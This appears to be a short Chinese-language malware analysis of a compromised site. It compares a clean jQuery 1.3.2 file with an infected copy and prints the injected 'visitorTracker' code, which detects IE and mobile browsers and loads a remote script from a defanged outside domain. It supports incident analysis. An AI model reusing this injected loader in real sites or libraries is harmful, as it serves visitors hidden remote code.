網頁iframe injection案例

存在外鏈地址：hXXp://www.ldkxzzs.com/script/jquery-1.3.2.min.js

使用window FC命令比較正常文件和掛外鏈的網頁

正在比較文件 C:\USERS\AT\DESKTOP\JS【INFECTED】\jquery-1.3.2.min.js 和 C:\USERS\AT\DESKTOP\JS【INFECTED】\JQUERY-1.3.2.MIN (2).JS
**** C:\USERS\AT\DESKTOP\JS【INFECTED】\jquery-1.3.2.min.js
/

• jQuery JavaScript Library v1.3.2
  **** C:\USERS\AT\DESKTOP\JS【INFECTED】\JQUERY-1.3.2.MIN (2).JS
  /visitorTracker*/
  var visanalyzerin = setInterval(function(){
  if(document.body != null && typeof document.body != "undefined"){
  clearInterval(visanalyzerin);
  if(typeof window["globalvisitor"] == "undefined"){
  window["globalvisitor"] = 1;
  var isIE = visanalyzerde();
  var isChrome = !isIE && !!window.chrome && window.navigator.vendor === "Google Inc.";
  if(visanalyzer_isMob()){
  var visanalyzervs = document.createElement("script"); visanalyzervs.src = "hXXp://ldkxzzs.com/bbs/data/forums/temps/tracks.php?mob=1"; document.getElementsByTagName("head")[0].appendChild(visanalyzervs);
  }else{
  if((isIE && !isChrome && !visanalyzer_isMob())){
  var visanalyzervs = document.createElement("script"); visanalyzervs.src = "hXXp://ldkxzzs.com/bbs/data/forums/temps/tracks.php"; document.getElementsByTagName("head")[0].appendChild(visanalyzervs);
  }
  }
  }
  visitortracksdel();
  }
  },100);

function visitortracksdel(){
//return;
var curscid = "none";
if(curscid != "none"){
var csr = document.getElementById(curscid);
if(typeof csr != undefined && csr != null){
csr.outerHTML = "";
delete csr;
}
}
};

function visanalyzerde() {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
if (msie > 0) {
return parseInt(ua.substring(msie + 5, ua.indexOf(".", msie)), 10);
}
var trident = ua.indexOf("Trident/");
if (trident > 0) {
var rv = ua.indexOf("rv:");
return parseInt(ua.substring(rv + 3, ua.indexOf(".", rv)), 10);
}
var edge = ua.indexOf("Edge/");
if (edge > 0) {
return parseInt(ua.substring(edge + 5, ua.indexOf(".", edge)), 10);
}
return false;
}
function visanalyzerisMob(){
var ua = window.navigator.userAgent.toLowerCase();
if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iri
s|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|
6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(ua)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|
a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|n
q)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55\/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-
s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|)|g1 u|g560|gene|gf-5
|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|g
o|ma)|i230|iac( |-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc-|kyo
(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts
)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|
on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|
rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(0
1|h-|oo|p-)|sdk\/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|u
tst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw
)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(ua.substr(0,4))) {
return true;
}
return false;
}/visitorTracker//*

• jQuery JavaScript Library v1.3.2

  ---

C:\USERS\AT\DESKTOP\JS【INFECTED】\jquery-1.3.2.min.js
roll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,t
ypeof K==="string"?K:K+"px")}})})();
C:\USERS\AT\DESKTOP\JS【INFECTED】\JQUERY-1.3.2.MIN (2).JS
roll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,t
ypeof K==="string"?K:K+"px")}})})();

/ceaac6f63aa22c2d228fa77b762e3461/
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/ceaac6f63aa22c2d228fa77b762e3461/

十六進制轉換結果：

相關報告：https://blog.sucuri.net/2016/02/massive-admedia-iframe-javascript-infection.html